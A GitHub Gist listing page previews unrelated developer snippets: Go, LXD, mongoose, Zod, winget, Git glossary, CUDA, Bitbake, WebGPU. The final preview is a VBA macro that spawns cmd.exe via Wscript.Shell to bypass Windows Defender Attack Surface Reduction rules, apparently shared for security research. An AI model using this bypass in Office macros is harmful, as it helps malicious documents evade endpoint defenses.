Skip to content

Instantly share code, notes, and snippets.

@Sh4yy
Sh4yy / clx.go
Created April 25, 2024 20:39
Generate CLI commands for common tasks.
package main
import (
"context"
"errors"
"fmt"
"io"
"log"
"os"
"runtime"
@gustavohenrique
gustavohenrique / lxd-snippets.md
Last active April 25, 2024 21:06
Basic commands to run LXD containers

install

sudo snap install lxd && lxd init

Init

lxd init --preseed <<EOF
@peteradeojo
peteradeojo / model.ts
Created April 25, 2024 21:04
Create API-safe responses with mongoose toJSON()
// model.ts
import mongoose, { Schema } from 'mongoose';
const schema = new Schema({
//...schema definition
});
schema.methods.toJSON = function() {
// ... compute some data to go along with your response
@SwiftedMind
SwiftedMind / route.tsx
Created November 11, 2023 17:29
Request Validation in Next.js
import { ZodError, z } from "zod";
interface RequestBody {
name: string;
}
const RequestBody = z.object({
name: z.string(),
});
@Sp5rky
Sp5rky / wingetinstall.ps1
Created October 7, 2023 00:32
Winget Installation
# Fetch the URI of the latest version of the winget-cli from GitHub releases
$latestWingetMsixBundleUri = $(Invoke-RestMethod https://api.github.com/repos/microsoft/winget-cli/releases/latest).assets.browser_download_url | Where-Object { $_.EndsWith('.msixbundle') }
# Extract the name of the .msixbundle file from the URI
$latestWingetMsixBundle = $latestWingetMsixBundleUri.Split('/')[-1]
# Show a progress message for the first download step
Write-Progress -Activity 'Installing Winget CLI' -Status 'Downloading Step 1 of 2'
# Temporarily set the ProgressPreference variable to SilentlyContinue to suppress progress bars
@victorsenam
victorsenam / dicionario-git.md
Last active April 25, 2024 21:03
Dicionário básico de Git e GitHub para iniciantes

Dicionário Git e GitHub

Os conceitos vão ser apresentados da forma mais básica possível para que se possa entender a ideia primordial do software. Os comandos serão baseados num terminal UNIX. Ou seja, funcionarão em linux e mac.

Links interessantes

http://rogerdudler.github.io/git-guide/index.pt_BR.html

Repositório

O repositório é a pasta do projeto. Todo repositório tem uma pasta oculta .git. Isso é o que mostra para o git e para você que existe um repositório naquela pasta.

@kuanghan
kuanghan / athena_cuda.md
Last active April 25, 2024 21:02
Install NVIDIA driver & CUDA inside an LXC container running Ubuntu 16.04

Installing NVIDIA Driver & CUDA inside an LXC container running Ubuntu 16.04 on a neuroscience computing server.

Introduction: I was trying to run some neuroscience image processing commands that uses NVIDIA GPU. The challenge is that most of our computation will be run inside an LXC container running Ubuntu 16.04 (the host runs Ubuntu 16.04 as well). Installing the NVIDIA driver on the host is not so hard, but doing it inside the LXC container is much more challenging.

I already have an unprivileged container running, so I will not repeat the steps to create an LXC container here.

Our graphics card is NVIDIA GeForce GTX 1080 Ti.

Here are the main steps:

Bitbake Cheatsheet

Verbose as possible

bitbake -vDDD your-recipe

List recipes

bitbake -s
@JolifantoBambla
JolifantoBambla / webgpu-audio.html
Last active April 25, 2024 21:01
Create audio data in WebGPU compute shaders
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>WebGPU Audio</title>
</head>
<body>
<button type="button" id="play">Play</button>
<script type="module">
const code = `
@infosecn1nja
infosecn1nja / ASR Rules Bypass.vba
Last active April 25, 2024 21:00
ASR rules bypass creating child processes
' ASR rules bypass creating child processes
' https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction
' https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office
' https://www.darkoperator.com/blog/2017/11/6/windows-defender-exploit-guard-asr-vbscriptjs-rule
Sub ASR_blocked()
Dim WSHShell As Object
Set WSHShell = CreateObject("Wscript.Shell")
WSHShell.Run "cmd.exe"
End Sub